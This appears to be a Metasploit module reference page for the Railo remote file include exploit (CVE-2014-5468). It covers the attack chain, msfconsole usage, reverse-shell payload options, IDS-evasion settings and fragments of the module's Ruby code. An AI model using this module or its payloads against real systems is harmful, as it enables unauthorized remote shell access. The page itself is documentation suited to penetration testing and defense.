Railo Remote File Include - Metasploit
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Module Overview
Name: Railo Remote File Include
Module: exploit/linux/http/railo_cfml_rfi
Source code: modules/exploits/linux/http/railo_cfml_rfi.rb
Disclosure date: 2014-08-26
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-5468
This module exploits a remote file include vulnerability in Railo, tested against version 4.2.1. First, a call using a vulnerable <cffile> line in thumbnail.cfm allows an attacker to download an arbitrary PNG file. By appending a .cfm, and taking advantage of a directory traversal, an attacker can append cold fusion markup to the PNG file, and have it interpreted by the server. This is used to stage and execute a fully-fledged payload.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/railo_cfml_rfi
msf exploit(railo_cfml_rfi) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/http/railo_cfml_rfi exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/railo_cfml_rfi
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/railo_cfml_rfi) > show info
Name: Railo Remote File Include
Module: exploit/linux/http/railo_cfml_rfi
Platform: Unix
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-08-26
Provided by:
Bryan Alexander <[email protected]>
bperry
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
STAGEWAIT 10 yes Number of seconds to wait for stager to download
TARGETURI /railo-context/ yes The base URI of the Railo server
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Space: 99999
Avoid: 0 characters
Description:
This module exploits a remote file include vulnerability in Railo,
tested against version 4.2.1. First, a call using a vulnerable
<cffile> line in thumbnail.cfm allows an attacker to download an
arbitrary PNG file. By appending a .cfm, and taking advantage of a
directory traversal, an attacker can append cold fusion markup to
the PNG file, and have it interpreted by the server. This is used to
stage and execute a fully-fledged payload.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-5468
http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/
Module Options
This is a complete list of options available in the linux/http/railo_cfml_rfi exploit:
msf6 exploit(linux/http/railo_cfml_rfi) > show options
Module options (exploit/linux/http/railo_cfml_rfi):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
STAGEWAIT 10 yes Number of seconds to wait for stager to download
TARGETURI /railo-context/ yes The base URI of the Railo server
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/railo_cfml_rfi exploit:
msf6 exploit(linux/http/railo_cfml_rfi) > show advanced
Module advanced options (exploit/linux/http/railo_cfml_rfi):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/railo_cfml_rfi module can exploit:
msf6 exploit(linux/http/railo_cfml_rfi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/railo_cfml_rfi exploit:
msf6 exploit(linux/http/railo_cfml_rfi) > show payloads
Compatible Payloads
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# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
1 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
2 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
3 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
4 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
5 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
6 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
7 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
8 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
9 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
10 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
11 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
12 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
13 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
14 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
15 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
16 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
17 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/railo_cfml_rfi exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/railo_cfml_rfi) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server did not respond
Here is a relevant code snippet related to the "Server did not respond" error message:
66: res = send_request_cgi(
67: 'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request
68: )
69:
70: if !res
71: fail_with(Failure::Unknown, 'Server did not respond')
72: elsif !res.body
73: fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}")
74: end
75:
76: new_md5 = Rex::Text.md5(res.body)
Server responded without a body: <RES.CODE> <RES.MESSAGE>
Here is a relevant code snippet related to the "Server responded without a body: <RES.CODE> <RES.MESSAGE>" error message:
68: )
69:
70: if !res
71: fail_with(Failure::Unknown, 'Server did not respond')
72: elsif !res.body
73: fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}")
74: end
75:
76: new_md5 = Rex::Text.md5(res.body)
77:
78: return Exploit::CheckCode::Appears if new_md5 == md5
SRVHOST must be an IP address accessible from another computer
Here is a relevant code snippet related to the "SRVHOST must be an IP address accessible from another computer" error message:
80: Exploit::CheckCode::Safe
81: end
82:
83: def exploit
84: if datastore['SRVHOST'] == '0.0.0.0'
85: fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')
86: end
87:
88: url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
89:
90: @shell_name = Rex::Text.rand_text_alpha(15)
Server did not respond
Here is a relevant code snippet related to the "Server did not respond" error message:
114: 'width' => wh
115: }
116: )
117:
118: if !res
119: fail_with(Failure::Unknown, 'Server did not respond')
120: elsif res.code != 500
121: fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}")
122: end
123:
124: print_status('Waiting for first stage to download...')
Server did not respond with the expected HTTP 500: <RES.CODE> <RES.MESSAGE>
Here is a relevant code snippet related to the "Server did not respond with the expected HTTP 500: <RES.CODE> <RES.MESSAGE>" error message:
116: )
117:
118: if !res
119: fail_with(Failure::Unknown, 'Server did not respond')
120: elsif res.code != 500
121: fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}")
122: end
123:
124: print_status('Waiting for first stage to download...')
125:
126: i = datastore['STAGEWAIT']
Server did not request the stager.
Here is a relevant code snippet related to the "Server did not request the stager." error message:
131: end
132:
133: @staged = false
134:
135: if i == 0
136: fail_with(Failure::Unknown, 'Server did not request the stager.')
137: end
138:
139: hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET
140:
141: hash.upcase!
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5822 Merged Pull Request: Fix #5659: Update CMD exploits payload compatibility options
- #3721 Merged Pull Request: Create railo_cfml_rfi.rb
References
See Also
Check also the following modules related to this module:
Authors
- Bryan Alexander <[email protected]>
- bperry
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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